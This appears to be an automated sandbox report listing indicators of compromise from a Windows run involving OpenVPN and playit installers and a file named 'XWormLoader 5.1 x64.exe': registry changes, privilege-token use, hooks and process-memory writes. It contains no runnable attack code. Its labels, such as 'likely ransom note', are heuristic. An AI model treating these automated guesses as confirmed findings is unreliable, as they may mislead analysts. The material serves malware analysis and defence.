Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OpenVPNFile\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	openvpn-gui.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	XWormLoader 5.1 x64.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.WindowsTerminal_8wekyb3d8bbwe\StartTerminalOnLoginTask	Taskmgr.exe
Key created	\REGISTRY\MACHINE\Software\Classes\OpenVPNFile\shell\run\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\ProductIcon = "C:\\Windows\\Installer\\{8274048B-FF59-47CC-802A-8A7E6325D2D5}\\openvpn.ico"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\DeploymentFlags = "3"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	openvpn-gui.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	openvpn-gui.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	XWormLoader 5.1 x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\OpenVPN.GUI = "OpenVPN"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\SourceList\Media\DiskPrompt = "Playit Installation"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	openvpn-gui.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	XWormLoader 5.1 x64.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\OpenVPN.Service = "OpenVPN"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\Drivers	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	XWormLoader 5.1 x64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	XWormLoader 5.1 x64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	XWormLoader 5.1 x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\OpenVPNFile\shell\open\command\ = "\"notepad.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\OpenVPNFile\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OpenVPNFile\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\InstanceType = "0"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	openvpn-gui.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	openvpn-gui.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	openvpn-gui.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	openvpn-gui.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\Drivers.OvpnDco = "Drivers"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\EasyRSA = "\x06OpenSSL"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	openvpn-gui.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	XWormLoader 5.1 x64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	XWormLoader 5.1 x64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\ef\ = "json_auto_file"	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\OpenVPN.Documentation = "OpenVPN"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B840472895FFCC7408A2A8E736522D5D\OpenVPN.GUI.OnLogon = "OpenVPN.GUI"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\Version = "983066"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\SourceList\PackageName = "playit-windows-x86_64-signed.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B66371C8B348CD94CAB147D82C460EF6\Clients = 3a0000000000	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	openvpn-gui.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	XWormLoader 5.1 x64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\B66371C8B348CD94CAB147D82C460EF6\Binaries	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	openvpn-gui.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	openvpn-gui.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	XWormLoader 5.1 x64.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	XWormLoader 5.1 x64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	XWormLoader 5.1 x64.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	openvpn-gui.exe
Key created	\REGISTRY\MACHINE\Software\Classes\OpenVPNFile	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\B840472895FFCC7408A2A8E736522D5D\PackageCode = "7D2338510D0D5244089EBE9FFBD528D1"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	openvpn-gui.exe

NTFS ADS 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\sadsadsd.first.ovpn:Zone.Identifier	chrome.exe
File created	C:\Users\Admin\OpenVPN\config\sadsadsd.first\sadsadsd.first.ovpn\:Zone.Identifier:$DATA	openvpn-gui.exe
File opened for modification	C:\Users\Admin\Downloads\XWorm v5.1-5.2.7z:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\OpenVPN-2.6.13-I001-amd64.msi:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\playit-windows-x86_64-signed.msi:Zone.Identifier	chrome.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
4508	NOTEPAD.EXE
5200	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3616	WINWORD.EXE
3616	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1308	chrome.exe
1308	chrome.exe
2000	msiexec.exe
2000	msiexec.exe
5720	chrome.exe
5720	chrome.exe
5720	chrome.exe
5720	chrome.exe
2000	msiexec.exe
2000	msiexec.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
1952	Taskmgr.exe
1952	Taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
5184	openvpn-gui.exe
5624	XWormLoader 5.1 x64.exe
1128	OpenWith.exe
1308	chrome.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid
4

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 49 IoCs

pid	Process
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
2336	chrome.exe
2336	chrome.exe
2336	chrome.exe
2336	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	1308	chrome.exe
Token: SeCreatePagefilePrivilege	1308	chrome.exe
Token: SeShutdownPrivilege	72	msiexec.exe
Token: SeIncreaseQuotaPrivilege	72	msiexec.exe
Token: SeSecurityPrivilege	2000	msiexec.exe
Token: SeCreateTokenPrivilege	72	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	72	msiexec.exe
Token: SeLockMemoryPrivilege	72	msiexec.exe
Token: SeIncreaseQuotaPrivilege	72	msiexec.exe
Token: SeMachineAccountPrivilege	72	msiexec.exe
Token: SeTcbPrivilege	72	msiexec.exe
Token: SeSecurityPrivilege	72	msiexec.exe
Token: SeTakeOwnershipPrivilege	72	msiexec.exe
Token: SeLoadDriverPrivilege	72	msiexec.exe
Token: SeSystemProfilePrivilege	72	msiexec.exe
Token: SeSystemtimePrivilege	72	msiexec.exe
Token: SeProfSingleProcessPrivilege	72	msiexec.exe
Token: SeIncBasePriorityPrivilege	72	msiexec.exe
Token: SeCreatePagefilePrivilege	72	msiexec.exe
Token: SeCreatePermanentPrivilege	72	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
72	msiexec.exe
72	msiexec.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
2056	msiexec.exe
2056	msiexec.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
5184	openvpn-gui.exe
1308	chrome.exe
1308	chrome.exe
5624	XWormLoader 5.1 x64.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
1308	chrome.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe
4536	Taskmgr.exe

Suspicious use of SetWindowsHookEx 34 IoCs

pid	Process
5184	openvpn-gui.exe
704	MiniSearchHost.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
1128	OpenWith.exe
3748	firefox.exe
7136	firefox.exe
7068	firefox.exe
2084	CredentialUIBroker.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
5624	XWormLoader 5.1 x64.exe
3616	WINWORD.EXE
3616	WINWORD.EXE
3616	WINWORD.EXE
3616	WINWORD.EXE
3616	WINWORD.EXE
3616	WINWORD.EXE
3616	WINWORD.EXE
6940	WindowsTerminal.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4508	4972	cmd.exe	86
PID 4972 wrote to memory of 4508	4972	cmd.exe	86
PID 1308 wrote to memory of 1476	1308	chrome.exe	91
PID 1308 wrote to memory of 1476	1308	chrome.exe	91
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 2272	1308	chrome.exe	92
PID 1308 wrote to memory of 3120	1308	chrome.exe	93
PID 1308 wrote to memory of 3120	1308	chrome.exe	93
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
